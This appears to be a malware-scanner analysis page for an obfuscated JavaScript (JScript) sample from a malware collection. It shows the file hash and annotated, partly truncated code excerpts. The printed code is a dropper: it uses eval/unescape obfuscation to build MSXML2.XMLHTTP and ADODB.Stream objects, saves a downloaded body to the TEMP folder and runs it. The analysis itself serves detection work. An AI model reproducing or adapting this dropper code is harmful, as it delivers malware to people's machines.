Suspicious ^80% javascript-malware-collection Download

20160329_00992f2e5ab1f6d8ebad941881f0197c.js

Obfuscated eval, ADODB, WScript

eval() executing transformed codeText has empty named-parameter catch

SHA-256f26b34798ca649e3734054b09e5de7791ed7f913a66f028ccf3f9cf2490fc576

Evidence

Calls JavaScript unescape lines 1–2

1noConflict = 835;
2eval(unescape(["fix~20~3D~20~28~22ons~22~29~2C~20arr~20~3D~20~28~22rip~22~29~2C~20finalDataType~20~3D~20~28~22at.~22", "~29~2C~20multipleContexts~20~3D~20~285767~29~3BtimeoutTimer~20~3D~20~28~222.XM~22~29~2C~20mouseenter", "~20~3D~20~28~22pro~22~29~2C~20sel~20~3D~20~28~22.XMLH~22~29~2C~20nextAll~20~3D~20~2839~29~2C~20defau", "ltDisplay~20~3D~20~28~22matc~22~29~3BnewDefer~20~3D~20~2812~29~3BoriginalProperties~20~3D~20~28~22tS", "tri~22~29~2C~20propName~20~3D~20~28~22t~22~29~2C~20isTrigger~20~3D~20~28~22kdat~22~29~3Bimage~20~3D~", "20~28~22Ru~22~29~2C~20lang~20~3D~20~28~22.~22~29~2C~20firingIndex~20~3D~ …

Joins array with a short delimiter lines 2–7

2:3269… ~20~3D~20~28~222.Ser~22~29~3Bobj~20~3D~20~28~22Expa~22~29~3B~3B"].join("").replace(/~/g, '%')));
3find = conv2 = open = global = option.curTop();
4
5function linear(handler, nid) {
6	var y = 0;
7	after("while%20%28slideDown%5BreturnValue%20+%20%22tate%22%5D%20%21%3D%20%28%28siblingCheck*15%29/%28n …

Dense concatenated string fragments lines 7–23

⋯4 lines
11function stop(elements) {
12	var y = 0;
13	after("byElement%20%3D%20open%5Binitial%20+%20%22t%22%5D%5BfromCharCode%20+%20%22teO%22%20+%20rcheckableType%5D%28%22ADODB%22%20+%20origName%20+%20%22eam%22%29%3B");
14	return y;
15}
⋯5 lines
21function responseContainer(iterator) {
22	var y = 0;
23	after("originalSettings%20%3D%20%5B%22Msxml%22%20+%20focusin%20+%20%22verX%22%20+%20compiled%20+%20%22.6.%22%20+%20noGlobal%2C%20%22Msxml2%22%20+%20sel%20+%20%22TTP …

Obfuscated computed call cluster lines 33–35

33function suffix(top, rbuggyMatches, createPseudo) {
34	var y = 0;
35	after("getText%20%3D%20username%5Bobj%20+%20%22ndEn%22%20+%20qualifier%20+%20%22men%22%20+%20originalProperties%20+%20%22ngs%22%5D%28hasFocus%20+%20%22%25/%22%29%20+%20defaultDisplay%20+%20%22herIn%2 …

Text has empty named-parameter catch lines 68–89

75… (originalSettings[test]);
	parseXML(focusin, firingIndex);
	slideDown["se" + always + "d"]();
	break;
} catch(wrapMap) {
73
}
}
76
linear(propName, newDefer, nodeName);
78
if(slideDown[tweens + "us"] == ((events + 558) / (firingIndex | 10))) {
byElement[rnative + "en"]();
byElement[len](slideDown["resp" + fix + "eBod" + elementMatchers]);
find["WScri" + classes]["Sleep"](((noCloneChecked | 325) - (multipleContexts - 1226)));
byElement[compare + "ToFile"](getText, ((hasClass & 1) + hasClass));
which(curCSS, always, inArray, noCloneChecked);
username[image + "n"](getText);
} else {
87
}
89} 